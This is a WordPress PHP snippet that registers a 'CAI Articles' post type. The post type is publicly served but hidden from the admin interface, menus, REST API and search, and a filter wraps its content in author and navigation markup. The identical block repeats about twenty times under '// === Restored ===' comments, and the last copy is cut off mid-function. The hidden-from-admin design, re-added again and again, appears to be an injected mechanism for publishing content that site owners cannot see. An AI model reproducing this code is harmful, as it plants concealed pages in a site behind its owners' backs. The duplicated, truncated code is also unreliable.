add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
